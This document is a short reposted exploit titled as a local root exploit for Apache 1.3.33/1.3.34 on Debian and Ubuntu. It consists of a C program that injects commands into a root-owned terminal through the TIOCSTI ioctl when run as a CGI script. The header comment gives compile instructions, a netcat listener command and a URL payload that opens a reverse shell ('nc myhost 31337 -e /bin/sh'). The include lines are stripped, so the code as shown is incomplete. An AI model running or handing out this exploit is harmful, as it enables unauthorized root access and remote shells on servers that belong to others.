Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit

death114

　　/*
　　:: Kristian Hermansen ::
　　Date: 20070229
　　Description:  Local attacker can influence Apache to direct commands
　　into an open tty  owned by user who started apache process, usually root.
　　This results in  arbitrary command execution.
　　Affects: Apache 1.3.33/1.3.34 on Debian  Stable/Testing/Unstable/Experimental     and Ubuntu Warty (4.10)/Hoary  (5.04)/Breezy (5.10)/Dapper (6.06)
　　Edgy (6.10), Feisty (7.04).
　　Notes: Must have CGI execution privileges and
　　service started manually  by root via shell.
　　Also try adding "Options +ExecCGI" to your .htaccess  file.
　　Compile: gcc -o /path/to/cgi-bin/cgipwn cgipwn.c
　　Usage: nc  -vvv -l -p 31337
　　http://webserver/cgi-bin/cgipwn?nc%20myhost%2031337%20-e%20%2fbin%2f/sh%0d
　　u53l355 gr33t5: yawn, jellyfish, phzero, pegasus, b9punk, phar, shardy,
　　benkurtz, ... and who could forget ... setient (the gremlin)!!
　　*/
　　#include
　　#include
　　int  main(int argc, char *argv[]) {
　　int pts = open("/dev/tty",O_RDONLY);
　　while(*argv[1] != '\0') {
　　ioctl(pts,TIOCSTI,argv[1]);
　　argv[1]++;
　　}
　　return 0;
　　}//